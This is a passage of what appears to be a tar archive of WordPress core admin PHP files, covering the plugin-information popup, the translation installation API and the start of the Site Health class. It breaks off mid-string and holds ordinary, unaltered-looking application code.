		'acronym'    => array( 'title' => array() ),
		'code'       => array(),
		'pre'        => array(),
		'em'         => array(),
		'strong'     => array(),
		'div'        => array( 'class' => array() ),
		'span'       => array( 'class' => array() ),
		'p'          => array(),
		'br'         => array(),
		'ul'         => array(),
		'ol'         => array(),
		'li'         => array(),
		'h1'         => array(),
		'h2'         => array(),
		'h3'         => array(),
		'h4'         => array(),
		'h5'         => array(),
		'h6'         => array(),
		'img'        => array(
			'src'   => array(),
			'class' => array(),
			'alt'   => array(),
		),
		'blockquote' => array( 'cite' => true ),
	);

	$plugins_section_titles = array(
		'description'  => _x( 'Description', 'Plugin installer section title' ),
		'installation' => _x( 'Installation', 'Plugin installer section title' ),
		'faq'          => _x( 'FAQ', 'Plugin installer section title' ),
		'screenshots'  => _x( 'Screenshots', 'Plugin installer section title' ),
		'changelog'    => _x( 'Changelog', 'Plugin installer section title' ),
		'reviews'      => _x( 'Reviews', 'Plugin installer section title' ),
		'other_notes'  => _x( 'Other Notes', 'Plugin installer section title' ),
	);

	// Sanitize HTML.
	foreach ( (array) $api->sections as $section_name => $content ) {
		$api->sections[ $section_name ] = wp_kses( $content, $plugins_allowedtags );
	}

	foreach ( array( 'version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug' ) as $key ) {
		if ( isset( $api->$key ) ) {
			$api->$key = wp_kses( $api->$key, $plugins_allowedtags );
		}
	}

	$_tab = esc_attr( $tab );

	// Default to the Description tab, Do not translate, API returns English.
	$section = isset( $_REQUEST['section'] ) ? wp_unslash( $_REQUEST['section'] ) : 'description';
	if ( empty( $section ) || ! isset( $api->sections[ $section ] ) ) {
		$section_titles = array_keys( (array) $api->sections );
		$section        = reset( $section_titles );
	}

	iframe_header( __( 'Plugin Installation' ) );

	$_with_banner = '';

	if ( ! empty( $api->banners ) && ( ! empty( $api->banners['low'] ) || ! empty( $api->banners['high'] ) ) ) {
		$_with_banner = 'with-banner';
		$low          = empty( $api->banners['low'] ) ? $api->banners['high'] : $api->banners['low'];
		$high         = empty( $api->banners['high'] ) ? $api->banners['low'] : $api->banners['high'];
		?>
		<style type="text/css">
			#plugin-information-title.with-banner {
				background-image: url( <?php echo esc_url( $low ); ?> );
			}
			@media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) {
				#plugin-information-title.with-banner {
					background-image: url( <?php echo esc_url( $high ); ?> );
				}
			}
		</style>
		<?php
	}

	echo '<div id="plugin-information-scrollable">';
	echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>";
	echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n";

	foreach ( (array) $api->sections as $section_name => $content ) {
		if ( 'reviews' === $section_name && ( empty( $api->ratings ) || 0 === array_sum( (array) $api->ratings ) ) ) {
			continue;
		}

		if ( isset( $plugins_section_titles[ $section_name ] ) ) {
			$title = $plugins_section_titles[ $section_name ];
		} else {
			$title = ucwords( str_replace( '_', ' ', $section_name ) );
		}

		$class       = ( $section_name === $section ) ? ' class="current"' : '';
		$href        = add_query_arg(
			array(
				'tab'     => $tab,
				'section' => $section_name,
			)
		);
		$href        = esc_url( $href );
		$san_section = esc_attr( $section_name );
		echo "\t<a name='$san_section' href='$href' $class>$title</a>\n";
	}

	echo "</div>\n";

	?>
<div id="<?php echo $_tab; ?>-content" class='<?php echo $_with_banner; ?>'>
	<div class="fyi">
		<ul>
			<?php if ( ! empty( $api->version ) ) { ?>
				<li><strong><?php _e( 'Version:' ); ?></strong> <?php echo $api->version; ?></li>
			<?php } if ( ! empty( $api->author ) ) { ?>
				<li><strong><?php _e( 'Author:' ); ?></strong> <?php echo links_add_target( $api->author, '_blank' ); ?></li>
			<?php } if ( ! empty( $api->last_updated ) ) { ?>
				<li><strong><?php _e( 'Last Updated:' ); ?></strong>
					<?php
					/* translators: %s: Human-readable time difference. */
					printf( __( '%s ago' ), human_time_diff( strtotime( $api->last_updated ) ) );
					?>
				</li>
			<?php } if ( ! empty( $api->requires ) ) { ?>
				<li>
					<strong><?php _e( 'Requires WordPress Version:' ); ?></strong>
					<?php
					/* translators: %s: Version number. */
					printf( __( '%s or higher' ), $api->requires );
					?>
				</li>
			<?php } if ( ! empty( $api->tested ) ) { ?>
				<li><strong><?php _e( 'Compatible up to:' ); ?></strong> <?php echo $api->tested; ?></li>
			<?php } if ( ! empty( $api->requires_php ) ) { ?>
				<li>
					<strong><?php _e( 'Requires PHP Version:' ); ?></strong>
					<?php
					/* translators: %s: Version number. */
					printf( __( '%s or higher' ), $api->requires_php );
					?>
				</li>
			<?php } if ( isset( $api->active_installs ) ) { ?>
				<li><strong><?php _e( 'Active Installations:' ); ?></strong>
				<?php
				if ( $api->active_installs >= 1000000 ) {
					$active_installs_millions = floor( $api->active_installs / 1000000 );
					printf(
						/* translators: %s: Number of millions. */
						_nx( '%s+ Million', '%s+ Million', $active_installs_millions, 'Active plugin installations' ),
						number_format_i18n( $active_installs_millions )
					);
				} elseif ( $api->active_installs < 10 ) {
					_ex( 'Less Than 10', 'Active plugin installations' );
				} else {
					echo number_format_i18n( $api->active_installs ) . '+';
				}
				?>
				</li>
			<?php } if ( ! empty( $api->slug ) && empty( $api->external ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( __( 'https://wordpress.org/plugins/' ) . $api->slug ); ?>/"><?php _e( 'WordPress.org Plugin Page &#187;' ); ?></a></li>
			<?php } if ( ! empty( $api->homepage ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( $api->homepage ); ?>"><?php _e( 'Plugin Homepage &#187;' ); ?></a></li>
			<?php } if ( ! empty( $api->donate_link ) && empty( $api->contributors ) ) { ?>
				<li><a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a></li>
			<?php } ?>
		</ul>
		<?php if ( ! empty( $api->rating ) ) { ?>
			<h3><?php _e( 'Average Rating' ); ?></h3>
			<?php
			wp_star_rating(
				array(
					'rating' => $api->rating,
					'type'   => 'percent',
					'number' => $api->num_ratings,
				)
			);
			?>
			<p aria-hidden="true" class="fyi-description">
				<?php
				printf(
					/* translators: %s: Number of ratings. */
					_n( '(based on %s rating)', '(based on %s ratings)', $api->num_ratings ),
					number_format_i18n( $api->num_ratings )
				);
				?>
			</p>
			<?php
		}

		if ( ! empty( $api->ratings ) && array_sum( (array) $api->ratings ) > 0 ) {
			?>
			<h3><?php _e( 'Reviews' ); ?></h3>
			<p class="fyi-description"><?php _e( 'Read all reviews on WordPress.org or write your own!' ); ?></p>
			<?php
			foreach ( $api->ratings as $key => $ratecount ) {
				// Avoid div-by-zero.
				$_rating    = $api->num_ratings ? ( $ratecount / $api->num_ratings ) : 0;
				$aria_label = esc_attr(
					sprintf(
						/* translators: 1: Number of stars (used to determine singular/plural), 2: Number of reviews. */
						_n(
							'Reviews with %1$d star: %2$s. Opens in a new tab.',
							'Reviews with %1$d stars: %2$s. Opens in a new tab.',
							$key
						),
						$key,
						number_format_i18n( $ratecount )
					)
				);
				?>
				<div class="counter-container">
						<span class="counter-label">
							<?php
							printf(
								'<a href="%s" target="_blank" aria-label="%s">%s</a>',
								"https://wordpress.org/support/plugin/{$api->slug}/reviews/?filter={$key}",
								$aria_label,
								/* translators: %s: Number of stars. */
								sprintf( _n( '%d star', '%d stars', $key ), $key )
							);
							?>
						</span>
						<span class="counter-back">
							<span class="counter-bar" style="width: <?php echo 92 * $_rating; ?>px;"></span>
						</span>
					<span class="counter-count" aria-hidden="true"><?php echo number_format_i18n( $ratecount ); ?></span>
				</div>
				<?php
			}
		}
		if ( ! empty( $api->contributors ) ) {
			?>
			<h3><?php _e( 'Contributors' ); ?></h3>
			<ul class="contributors">
				<?php
				foreach ( (array) $api->contributors as $contrib_username => $contrib_details ) {
					$contrib_name = $contrib_details['display_name'];
					if ( ! $contrib_name ) {
						$contrib_name = $contrib_username;
					}
					$contrib_name = esc_html( $contrib_name );

					$contrib_profile = esc_url( $contrib_details['profile'] );
					$contrib_avatar  = esc_url( add_query_arg( 's', '36', $contrib_details['avatar'] ) );

					echo "<li><a href='{$contrib_profile}' target='_blank'><img src='{$contrib_avatar}' width='18' height='18' alt='' />{$contrib_name}</a></li>";
				}
				?>
			</ul>
					<?php if ( ! empty( $api->donate_link ) ) { ?>
				<a target="_blank" href="<?php echo esc_url( $api->donate_link ); ?>"><?php _e( 'Donate to this plugin &#187;' ); ?></a>
			<?php } ?>
				<?php } ?>
	</div>
	<div id="section-holder">
	<?php
	$requires_php = isset( $api->requires_php ) ? $api->requires_php : null;
	$requires_wp  = isset( $api->requires ) ? $api->requires : null;

	$compatible_php = is_php_version_compatible( $requires_php );
	$compatible_wp  = is_wp_version_compatible( $requires_wp );
	$tested_wp      = ( empty( $api->tested ) || version_compare( get_bloginfo( 'version' ), $api->tested, '<=' ) );

	if ( ! $compatible_php ) {
		$compatible_php_notice_message  = '<p>';
		$compatible_php_notice_message .= __( '<strong>Error:</strong> This plugin <strong>requires a newer version of PHP</strong>.' );

		if ( current_user_can( 'update_php' ) ) {
			$compatible_php_notice_message .= sprintf(
				/* translators: %s: URL to Update PHP page. */
				' ' . __( '<a href="%s" target="_blank">Click here to learn more about updating PHP</a>.' ),
				esc_url( wp_get_update_php_url() )
			) . wp_update_php_annotation( '</p><p><em>', '</em>', false );
		} else {
			$compatible_php_notice_message .= '</p>';
		}

		wp_admin_notice(
			$compatible_php_notice_message,
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt' ),
				'paragraph_wrap'     => false,
			)
		);
	}

	if ( ! $tested_wp ) {
		wp_admin_notice(
			__( '<strong>Warning:</strong> This plugin <strong>has not been tested</strong> with your current version of WordPress.' ),
			array(
				'type'               => 'warning',
				'additional_classes' => array( 'notice-alt' ),
			)
		);
	} elseif ( ! $compatible_wp ) {
		$compatible_wp_notice_message = __( '<strong>Error:</strong> This plugin <strong>requires a newer version of WordPress</strong>.' );
		if ( current_user_can( 'update_core' ) ) {
			$compatible_wp_notice_message .= sprintf(
				/* translators: %s: URL to WordPress Updates screen. */
				' ' . __( '<a href="%s" target="_parent">Click here to update WordPress</a>.' ),
				esc_url( self_admin_url( 'update-core.php' ) )
			);
		}

		wp_admin_notice(
			$compatible_wp_notice_message,
			array(
				'type'               => 'error',
				'additional_classes' => array( 'notice-alt' ),
			)
		);
	}

	foreach ( (array) $api->sections as $section_name => $content ) {
		$content = links_add_base_url( $content, 'https://wordpress.org/plugins/' . $api->slug . '/' );
		$content = links_add_target( $content, '_blank' );

		$san_section = esc_attr( $section_name );

		$display = ( $section_name === $section ) ? 'block' : 'none';

		echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n";
		echo $content;
		echo "\t</div>\n";
	}
	echo "</div>\n";
	echo "</div>\n";
	echo "</div>\n"; // #plugin-information-scrollable
	echo "<div id='$tab-footer'>\n";
	if ( ! empty( $api->download_link ) && ( current_user_can( 'install_plugins' ) || current_user_can( 'update_plugins' ) ) ) {
		$status = install_plugin_install_status( $api );
		switch ( $status['status'] ) {
			case 'install':
				if ( $status['url'] ) {
					if ( $compatible_php && $compatible_wp ) {
						echo '<a data-slug="' . esc_attr( $api->slug ) . '" id="plugin_install_from_iframe" class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Now' ) . '</a>';
					} else {
						printf(
							'<button type="button" class="button button-primary button-disabled right" disabled="disabled">%s</button>',
							_x( 'Cannot Install', 'plugin' )
						);
					}
				}
				break;
			case 'update_available':
				if ( $status['url'] ) {
					if ( $compatible_php ) {
						echo '<a data-slug="' . esc_attr( $api->slug ) . '" data-plugin="' . esc_attr( $status['file'] ) . '" id="plugin_update_from_iframe" class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __( 'Install Update Now' ) . '</a>';
					} else {
						printf(
							'<button type="button" class="button button-primary button-disabled right" disabled="disabled">%s</button>',
							_x( 'Cannot Update', 'plugin' )
						);
					}
				}
				break;
			case 'newer_installed':
				/* translators: %s: Plugin version. */
				echo '<a class="button button-primary right disabled">' . sprintf( __( 'Newer Version (%s) Installed' ), esc_html( $status['version'] ) ) . '</a>';
				break;
			case 'latest_installed':
				echo '<a class="button button-primary right disabled">' . __( 'Latest Version Installed' ) . '</a>';
				break;
		}
	}
	echo "</div>\n";

	iframe_footer();
	exit;
}
translation-install.php000064400000021276150275632050011274 0ustar00<?php
/**
 * WordPress Translation Installation Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */


/**
 * Retrieve translations from WordPress Translation API.
 *
 * @since 4.0.0
 *
 * @param string       $type Type of translations. Accepts 'plugins', 'themes', 'core'.
 * @param array|object $args Translation API arguments. Optional.
 * @return array|WP_Error On success an associative array of translations, WP_Error on failure.
 */
function translations_api( $type, $args = null ) {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	if ( ! in_array( $type, array( 'plugins', 'themes', 'core' ), true ) ) {
		return new WP_Error( 'invalid_type', __( 'Invalid translation type.' ) );
	}

	/**
	 * Allows a plugin to override the WordPress.org Translation Installation API entirely.
	 *
	 * @since 4.0.0
	 *
	 * @param false|array $result The result array. Default false.
	 * @param string      $type   The type of translations being requested.
	 * @param object      $args   Translation API arguments.
	 */
	$res = apply_filters( 'translations_api', false, $type, $args );

	if ( false === $res ) {
		$url      = 'http://api.wordpress.org/translations/' . $type . '/1.0/';
		$http_url = $url;
		$ssl      = wp_http_supports( array( 'ssl' ) );
		if ( $ssl ) {
			$url = set_url_scheme( $url, 'https' );
		}

		$options = array(
			'timeout' => 3,
			'body'    => array(
				'wp_version' => $wp_version,
				'locale'     => get_locale(),
				'version'    => $args['version'], // Version of plugin, theme or core.
			),
		);

		if ( 'core' !== $type ) {
			$options['body']['slug'] = $args['slug']; // Plugin or theme slug.
		}

		$request = wp_remote_post( $url, $options );

		if ( $ssl && is_wp_error( $request ) ) {
			trigger_error(
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				) . ' ' . __( '(WordPress could not establish a secure connection to WordPress.org. Please contact your server administrator.)' ),
				headers_sent() || WP_DEBUG ? E_USER_WARNING : E_USER_NOTICE
			);

			$request = wp_remote_post( $http_url, $options );
		}

		if ( is_wp_error( $request ) ) {
			$res = new WP_Error(
				'translations_api_failed',
				sprintf(
					/* translators: %s: Support forums URL. */
					__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
					__( 'https://wordpress.org/support/forums/' )
				),
				$request->get_error_message()
			);
		} else {
			$res = json_decode( wp_remote_retrieve_body( $request ), true );
			if ( ! is_object( $res ) && ! is_array( $res ) ) {
				$res = new WP_Error(
					'translations_api_failed',
					sprintf(
						/* translators: %s: Support forums URL. */
						__( 'An unexpected error occurred. Something may be wrong with WordPress.org or this server&#8217;s configuration. If you continue to have problems, please try the <a href="%s">support forums</a>.' ),
						__( 'https://wordpress.org/support/forums/' )
					),
					wp_remote_retrieve_body( $request )
				);
			}
		}
	}

	/**
	 * Filters the Translation Installation API response results.
	 *
	 * @since 4.0.0
	 *
	 * @param array|WP_Error $res  Response as an associative array or WP_Error.
	 * @param string         $type The type of translations being requested.
	 * @param object         $args Translation API arguments.
	 */
	return apply_filters( 'translations_api_result', $res, $type, $args );
}

/**
 * Get available translations from the WordPress.org API.
 *
 * @since 4.0.0
 *
 * @see translations_api()
 *
 * @return array[] Array of translations, each an array of data, keyed by the language. If the API response results
 *                 in an error, an empty array will be returned.
 */
function wp_get_available_translations() {
	if ( ! wp_installing() ) {
		$translations = get_site_transient( 'available_translations' );
		if ( false !== $translations ) {
			return $translations;
		}
	}

	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';

	$api = translations_api( 'core', array( 'version' => $wp_version ) );

	if ( is_wp_error( $api ) || empty( $api['translations'] ) ) {
		return array();
	}

	$translations = array();
	// Key the array with the language code for now.
	foreach ( $api['translations'] as $translation ) {
		$translations[ $translation['language'] ] = $translation;
	}

	if ( ! defined( 'WP_INSTALLING' ) ) {
		set_site_transient( 'available_translations', $translations, 3 * HOUR_IN_SECONDS );
	}

	return $translations;
}

/**
 * Output the select form for the language selection on the installation screen.
 *
 * @since 4.0.0
 *
 * @global string $wp_local_package Locale code of the package.
 *
 * @param array[] $languages Array of available languages (populated via the Translation API).
 */
function wp_install_language_form( $languages ) {
	global $wp_local_package;

	$installed_languages = get_available_languages();

	echo "<label class='screen-reader-text' for='language'>Select a default language</label>\n";
	echo "<select size='14' name='language' id='language'>\n";
	echo '<option value="" lang="en" selected="selected" data-continue="Continue" data-installed="1">English (United States)</option>';
	echo "\n";

	if ( ! empty( $wp_local_package ) && isset( $languages[ $wp_local_package ] ) ) {
		if ( isset( $languages[ $wp_local_package ] ) ) {
			$language = $languages[ $wp_local_package ];
			printf(
				'<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
				esc_attr( $language['language'] ),
				esc_attr( current( $language['iso'] ) ),
				esc_attr( $language['strings']['continue'] ? $language['strings']['continue'] : 'Continue' ),
				in_array( $language['language'], $installed_languages, true ) ? ' data-installed="1"' : '',
				esc_html( $language['native_name'] )
			);

			unset( $languages[ $wp_local_package ] );
		}
	}

	foreach ( $languages as $language ) {
		printf(
			'<option value="%s" lang="%s" data-continue="%s"%s>%s</option>' . "\n",
			esc_attr( $language['language'] ),
			esc_attr( current( $language['iso'] ) ),
			esc_attr( $language['strings']['continue'] ? $language['strings']['continue'] : 'Continue' ),
			in_array( $language['language'], $installed_languages, true ) ? ' data-installed="1"' : '',
			esc_html( $language['native_name'] )
		);
	}
	echo "</select>\n";
	echo '<p class="step"><span class="spinner"></span><input id="language-continue" type="submit" class="button button-primary button-large" value="Continue" /></p>';
}

/**
 * Download a language pack.
 *
 * @since 4.0.0
 *
 * @see wp_get_available_translations()
 *
 * @param string $download Language code to download.
 * @return string|false Returns the language code if successfully downloaded
 *                      (or already installed), or false on failure.
 */
function wp_download_language_pack( $download ) {
	// Check if the translation is already installed.
	if ( in_array( $download, get_available_languages(), true ) ) {
		return $download;
	}

	if ( ! wp_is_file_mod_allowed( 'download_language_pack' ) ) {
		return false;
	}

	// Confirm the translation is one we can download.
	$translations = wp_get_available_translations();
	if ( ! $translations ) {
		return false;
	}
	foreach ( $translations as $translation ) {
		if ( $translation['language'] === $download ) {
			$translation_to_load = true;
			break;
		}
	}

	if ( empty( $translation_to_load ) ) {
		return false;
	}
	$translation = (object) $translation;

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$skin              = new Automatic_Upgrader_Skin();
	$upgrader          = new Language_Pack_Upgrader( $skin );
	$translation->type = 'core';
	$result            = $upgrader->upgrade( $translation, array( 'clear_update_cache' => false ) );

	if ( ! $result || is_wp_error( $result ) ) {
		return false;
	}

	return $translation->language;
}

/**
 * Check if WordPress has access to the filesystem without asking for
 * credentials.
 *
 * @since 4.0.0
 *
 * @return bool Returns true on success, false on failure.
 */
function wp_can_install_language_pack() {
	if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) {
		return false;
	}

	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
	$skin     = new Automatic_Upgrader_Skin();
	$upgrader = new Language_Pack_Upgrader( $skin );
	$upgrader->init();

	$check = $upgrader->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );

	if ( ! $check || is_wp_error( $check ) ) {
		return false;
	}

	return true;
}
class-wp-site-health.php000064400000356577150275632050011247 0ustar00<?php
/**
 * Class for looking up a site's health based on a user's WordPress environment.
 *
 * @package WordPress
 * @subpackage Site_Health
 * @since 5.2.0
 */

#[AllowDynamicProperties]
class WP_Site_Health {
	private static $instance = null;

	private $is_acceptable_mysql_version;
	private $is_recommended_mysql_version;

	public $is_mariadb                   = false;
	private $mysql_server_version        = '';
	private $mysql_required_version      = '5.5';
	private $mysql_recommended_version   = '5.7';
	private $mariadb_recommended_version = '10.4';

	public $php_memory_limit;

	public $schedules;
	public $crons;
	public $last_missed_cron     = null;
	public $last_late_cron       = null;
	private $timeout_missed_cron = null;
	private $timeout_late_cron   = null;

	/**
	 * WP_Site_Health constructor.
	 *
	 * @since 5.2.0
	 */
	public function __construct() {
		$this->maybe_create_scheduled_event();

		// Save memory limit before it's affected by wp_raise_memory_limit( 'admin' ).
		$this->php_memory_limit = ini_get( 'memory_limit' );

		$this->timeout_late_cron   = 0;
		$this->timeout_missed_cron = - 5 * MINUTE_IN_SECONDS;

		if ( defined( 'DISABLE_WP_CRON' ) && DISABLE_WP_CRON ) {
			$this->timeout_late_cron   = - 15 * MINUTE_IN_SECONDS;
			$this->timeout_missed_cron = - 1 * HOUR_IN_SECONDS;
		}

		add_filter( 'admin_body_class', array( $this, 'admin_body_class' ) );

		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'wp_site_health_scheduled_check', array( $this, 'wp_cron_scheduled_check' ) );

		add_action( 'site_health_tab_content', array( $this, 'show_site_health_tab' ) );
	}

	/**
	 * Outputs the content of a tab in the Site Health screen.
	 *
	 * @since 5.8.0
	 *
	 * @param string $tab Slug of the current tab being displayed.
	 */
	public function show_site_health_tab( $tab ) {
		if ( 'debug' === $tab ) {
			require_once ABSPATH . 'wp-admin/site-health-info.php';
		}
	}

	/**
	 * Returns an instance of the WP_Site_Health class, or create one if none exist yet.
	 *
	 * @since 5.4.0
	 *
	 * @return WP_Site_Health|null
	 */
	public static function get_instance() {
		if ( null === self::$instance ) {
			self::$instance = new WP_Site_Health();
		}

		return self::$instance;
	}

	/**
	 * Enqueues the site health scripts.
	 *
	 * @since 5.2.0
	 */
	public function enqueue_scripts() {
		$screen = get_current_screen();
		if ( 'site-health' !== $screen->id && 'dashboard' !== $screen->id ) {
			return;
		}

		$health_check_js_variables = array(
			'screen'      => $screen->id,
			'nonce'       => array(
				'site_status'        => wp_create_nonce( 'health-check-site-status' ),
				'site_status_result' => wp_create_nonce( 'health-check-site-status-result' ),
			),
			'site_status' => array(
				'direct' => array(),
				'async'  => array(),
				'issues' => array(
					'good'        => 0,
					'recommended' => 0,
					'critical'    => 0,
				),
			),
		);

		$issue_counts = get_transient( 'health-check-site-status-result' );

		if ( false !== $issue_counts ) {
			$issue_counts = json_decode( $issue_counts );

			$health_check_js_variables['site_status']['issues'] = $issue_counts;
		}

		if ( 'site-health' === $screen->id && ( ! isset( $_GET['tab'] ) || empty( $_GET['tab'] ) ) ) {
			$tests = WP_Site_Health::get_tests();

			// Don't run https test on development environments.
			if ( $this->is_development_environment() ) {
				unset( $tests['async']['https_status'] );
			}

			foreach ( $tests['direct'] as $test ) {
				if ( is_string( $test['test'] ) ) {
					$test_function = sprintf(
						'get_test_%s',
						$test['test']
					);

					if ( method_exists( $this, $test_function ) && is_callable( array( $this, $test_function ) ) ) {
						$health_check_js_variables['site_status']['direct'][] = $this->perform_test( array( $this, $test_function ) );
						continue;
					}
				}

				if ( is_callable( $test['test'] ) ) {
					$health_check_js_variables['site_status']['direct'][] = $this->perform_test( $test['test'] );
				}
			}

			foreach ( $tests['async'] as $test ) {
				if ( is_string( $test['test'] ) ) {
					$health_check_js_variables['site_status']['async'][] = array(
						'test'      => $test['test'],
						'has_rest'  => ( isset( $test['has_rest'] ) ? $test['has_rest'] : false ),
						'completed' => false,
						'headers'   => isset( $test['headers'] ) ? $test['headers'] : array(),
					);
				}
			}
		}

		wp_localize_script( 'site-health', 'SiteHealth', $health_check_js_variables );
	}

	/**
	 * Runs a Site Health test directly.
	 *
	 * @since 5.4.0
	 *
	 * @param callable $callback
	 * @return mixed|void
	 */
	private function perform_test( $callback ) {
		/**
		 * Filters the output of a finished Site Health test.
		 *
		 * @since 5.3.0
		 *
		 * @param array $test_result {
		 *     An associative array of test result data.
		 *
		 *     @type string $label       A label describing the test, and is used as a header in the output.
		 *     @type string $status      The status of the test, which can be a value of `good`, `recommended` or `critical`.
		 *     @type array  $badge {
		 *         Tests are put into categories which have an associated badge shown, these can be modified and assigned here.
		 *
		 *         @type string $label The test label, for example `Performance`.
		 *         @type string $color Default `blue`. A string representing a color to use for the label.
		 *     }
		 *     @type string $description A more descriptive explanation of what the test looks for, and why it is important for the end user.
		 *     @type string $actions     An action to direct the user to where they can resolve the issue, if one exists.
		 *     @type string $test        The name of the test being ran, used as a reference point.
		 * }
		 */
		return apply_filters( 'site_status_test_result', call_user_func( $callback ) );
	}

	/**
	 * Runs the SQL version checks.
	 *
	 * These values are used in later tests, but the part of preparing them is more easily managed
	 * early in the class for ease of access and discovery.
	 *
	 * @since 5.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function prepare_sql_data() {
		global $wpdb;

		$mysql_server_type = $wpdb->db_server_info();

		$this->mysql_server_version = $wpdb->get_var( 'SELECT VERSION()' );

		if ( stristr( $mysql_server_type, 'mariadb' ) ) {
			$this->is_mariadb                = true;
			$this->mysql_recommended_version = $this->mariadb_recommended_version;
		}

		$this->is_acceptable_mysql_version  = version_compare( $this->mysql_required_version, $this->mysql_server_version, '<=' );
		$this->is_recommended_mysql_version = version_compare( $this->mysql_recommended_version, $this->mysql_server_version, '<=' );
	}

	/**
	 * Tests whether `wp_version_check` is blocked.
	 *
	 * It's possible to block updates with the `wp_version_check` filter, but this can't be checked
	 * during an Ajax call, as the filter is never introduced then.
	 *
	 * This filter overrides a standard page request if it's made by an admin through the Ajax call
	 * with the right query argument to check for this.
	 *
	 * @since 5.2.0
	 */
	public function check_wp_version_check_exists() {
		if ( ! is_admin() || ! is_user_logged_in() || ! current_user_can( 'update_core' ) || ! isset( $_GET['health-check-test-wp_version_check'] ) ) {
			return;
		}

		echo ( has_filter( 'wp_version_check', 'wp_version_check' ) ? 'yes' : 'no' );

		die();
	}

	/**
	 * Tests for WordPress version and outputs it.
	 *
	 * Gives various results depending on what kind of updates are available, if any, to encourage
	 * the user to install security updates as a priority.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test result.
	 */
	public function get_test_wordpress_version() {
		$result = array(
			'label'       => '',
			'status'      => '',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'description' => '',
			'actions'     => '',
			'test'        => 'wordpress_version',
		);

		$core_current_version = get_bloginfo( 'version' );
		$core_updates         = get_core_updates();

		if ( ! is_array( $core_updates ) ) {
			$result['status'] = 'recommended';

			$result['label'] = sprintf(
				/* translators: %s: Your current version of WordPress. */
				__( 'WordPress version %s' ),
				$core_current_version
			);

			$result['description'] = sprintf(
				'<p>%s</p>',
				__( 'Unable to check if any new versions of WordPress are available.' )
			);

			$result['actions'] = sprintf(
				'<a href="%s">%s</a>',
				esc_url( admin_url( 'update-core.php?force-check=1' ) ),
				__( 'Check for updates manually' )
			);
		} else {
			foreach ( $core_updates as $core => $update ) {
				if ( 'upgrade' === $update->response ) {
					$current_version = explode( '.', $core_current_version );
					$new_version     = explode( '.', $update->version );

					$current_major = $current_version[0] . '.' . $current_version[1];
					$new_major     = $new_version[0] . '.' . $new_version[1];

					$result['label'] = sprintf(
						/* translators: %s: The latest version of WordPress available. */
						__( 'WordPress update available (%s)' ),
						$update->version
					);

					$result['actions'] = sprintf(
						'<a href="%s">%s</a>',
						esc_url( admin_url( 'update-core.php' ) ),
						__( 'Install the latest version of WordPress' )
					);

					if ( $current_major !== $new_major ) {
						// This is a major version mismatch.
						$result['status']      = 'recommended';
						$result['description'] = sprintf(
							'<p>%s</p>',
							__( 'A new version of WordPress is available.' )
						);
					} else {
						// This is a minor version, sometimes considered more critical.
						$result['status']         = 'critical';
						$result['badge']['label'] = __( 'Security' );
						$result['description']    = sprintf(
							'<p>%s</p>',
							__( 'A new minor update is available for your site. Because minor updates often address security, it&#8217;s important to install them.' )
						);
					}
				} else {
					$result['status'] = 'good';
					$result['label']  = sprintf(
						/* translators: %s: The current version of WordPress installed on this site. */
						__( 'Your version of WordPress (%s) is up to date' ),
						$core_current_version
					);

					$result['description'] = sprintf(
						'<p>%s</p>',
						__( 'You are currently running the latest version of WordPress available, keep it up!' )
					);
				}
			}
		}

		return $result;
	}

	/**
	 * Tests if plugins are outdated, or unnecessary.
	 *
	 * The test checks if your plugins are up to date, and encourages you to remove any
	 * that are not in use.
	 *
	 * @since 5.2.0
	 *
	 * @return array The test result.
	 */
	public function get_test_plugin_version() {
		$result = array(
			'label'       => __( 'Your plugins are all up to date' ),
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Security' ),
				'color' => 'blue',
			),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'Plugins extend your site&#8217;s functionality with things like contact forms, ecommerce and much more. That means they have deep access to your site, so it&#8217;s vital to keep them up to date.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s">%s</a></p>',
				esc_url( admin_url( 'plugins.php' ) ),
				__( 'Manage your plugins' )
			),
			'test'        => 'plugin_version',
		);

		$plugins        = get_plugins();
		$plugin_updates = get_plugin_updates();

		$plugins_active      = 0;
		$plugins_total       = 0;
		$plugins_need_update = 0;

		// Loop over the available plugins and check their versions and active state.
		foreach ( $plugins as $plugin_path => $plugin ) {
			++$plugins_total;

			if ( is_plugin_active( $plugin_path ) ) {
				++$plugins_active;
			}

			if ( array_key_exists( $plugin_path, $plugin_updates ) ) {
				++$plugins_need_update;
			}
		}

		// Add a notice if there are outdated plugins.
		if ( $plugins_need_update > 0 ) {
			$result['status'] = 'critical';

			$result['label'] = __( 'You have plugins waiting to be updated' );

			$result['description'] .= sprintf(
				'<p>%s</p>',
				sprintf(
					/* translators: %d: The number of outdated plugins. */
					_n(
						'Your site has %d plugin waiting to be updated.',
